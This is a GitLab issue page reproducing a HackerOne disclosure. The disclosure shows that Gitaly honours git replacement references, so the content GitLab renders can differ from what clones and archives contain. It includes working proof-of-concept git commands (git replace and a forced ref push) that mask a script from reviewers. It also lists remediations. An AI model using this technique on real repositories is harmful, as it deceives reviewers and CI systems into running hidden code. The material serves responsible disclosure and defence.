Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • gitaly gitaly
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 732
    • Issues 732
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 65
    • Merge requests 65
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Container Registry
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • gitalygitaly
  • Issues
  • #3948
Closed
Open
Issue created Dec 03, 2021 by GitLab SecurityBot@gitlab-securitybotReporter

Repository Content Spoofing Using Git Replacement References

HackerOne report #1415964 by star-labs on 2021-12-03, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

GitLab - Repository Content Spoofing Using Git Replacement References

Summary

There is an obscure feature supported by the git CLI called replacement references, which allows replacing of git objects. By default, almost all git sub-commands honour replacement references found in the repository.

I discovered that Gitaly is not properly configured to instruct git sub-commands to ignore replacement references. When Gitaly executes git filter-branch and git cat-file to fetch the contents of blob objects, the content of replacement objects will be returned instead of the original blob objects.

This creates a discrepancy between rendered contents on GitLab versus the actual file contents when checking out the repository.

Proof-of-Concept

Note: GitLab caches the results when fetching blob/commit diffs. Make sure that you do not preview the files/diff using GitLab UI unless otherwise stated.

The proof-of-concept presented below demonstrates how a GitLab user with Developer access to a repository can push replacement references to cause Gitaly to fetch the wrong blob object for rendering.

  • Create a blank GitLab repository at https://gitlab.com/<username>/totally-safe-project
  • Execute the following commands to create a commit with a malicious script.sh:
$ git clone git@gitlab.com:<username>/totally-safe-project.git && cd totally-safe-project  
$ printf '#!/bin/sh\necho This could have been a really malicious script :)' > script.sh  
$ git add --chmod=+x script.sh && git commit -m '"Benign" Commit'  
  • Execute the following commands to create a replacement reference in order to mask the malicious script committed:
$ REPLACE_HASH="$(printf '#!/bin/sh\necho This is a totally safe script :)' | git hash-object -w --stdin)"  
$ ORIGINAL_HASH="$(git hash-object --stdin < script.sh)"  
$ git replace "$ORIGINAL_HASH" "$REPLACE_HASH"  
$ git push origin '+refs/*'  
```  
* Observe that the malicious script is checked out when doing a `git clone`:  
~~~shell  
$ git clone git@gitlab.com:<username>/totally-safe-project.git && cd totally-safe-project  
$ cat script.sh  
###  !/bin/sh  
echo This could have been a really malicious script :)  
  • Navigate to https://gitlab.com/<username>/totally-safe-project/-/blob/main/script.sh in a web browser. Notice that the file returned by the various GitLab functionalities is the file used to masquerade the malicious script:
###  !/bin/sh  
This is a totally safe script :)  

Impact

Using incorrect git objects to render repository contents on GitLab creates a mismatch in expectations when the rendered file contents on GitLab do not correspond with the actual file contents in a repository clone.

This vulnerability has similar impact to Trojan Source -- malicious code (hidden in plain sight) can be committed into projects, which may lead to RCE on unsuspecting users or CI/CD systems.

Unsuspecting users who review repository contents on GitLab may end up trusting the contents of the repository. Users or CI/CD systems that rely on downloading source code archives instead of performing a git checkout may end up being tricked into executing malicious code.

Examples

Below is an demonstration of the vulnerability showing the effects of a Developer pushing replacement references to the repository:
gitlab-poc.mp4

What is the current bug behavior?

  1. Pushing of replacement references are permitted.
  2. Replacement references are followed when using commands such as git cat-file when previewing files/diff on GitLab, resulting in inconsistencies between the rendered contents versus the actual git objects.
  3. There is no warning presented on GitLab's UI when the contents of replacement objects are used instead of the actual git objects.

What is the expected correct behavior?

  1. Replacement references should be ignored when fetching the contents of blob objects. This can be done by executing git sub-commands with (a) GIT_NO_REPLACE_OBJECTS environment variable set, or (b) by setting the --no-replace-objects option.
  2. Warnings are displayed in the UI if replacement objects are used instead of the actual git objects.
  3. Pushing of replacement references should be disallowed if they are unsupported on GitLab -- this is the current behaviour on GitHub.

Output of Checks

This bug happens on GitLab.com, and is replicable on self-hosted GitLab Community/Enterprise Edition instances.

This vulnerability is reproduced using the gitlab/gitlab-ee:14.4.3-ee.0 Docker image (released on 1 December 2021), where Gitaly (using git under the hood) is enabled by default.

GitLab installations using rugged are unlikely to be affected, as libgit2 does not have support for replacement references.

Credits

Ngo Wei Lin ([@]Creastery) of STAR Labs ([@]starlabs_sg)

Impact

Using incorrect git objects to render repository contents on GitLab creates a mismatch in expectations when the rendered file contents on GitLab do not correspond with the actual file contents in a repository clone.

This vulnerability has similar impact to Trojan Source -- malicious code (hidden in plain sight) can be committed into projects, which may lead to RCE on unsuspecting users or CI/CD systems.

Unsuspecting users who review repository contents on GitLab may end up trusting the contents of the repository. Users or CI/CD systems that rely on downloading source code archives instead of performing a git checkout may end up being tricked into executing malicious code.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • gitlab-poc.mp4

How To Reproduce

Please add reproducibility information to this section:

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information
Assignee
Assign to
Time tracking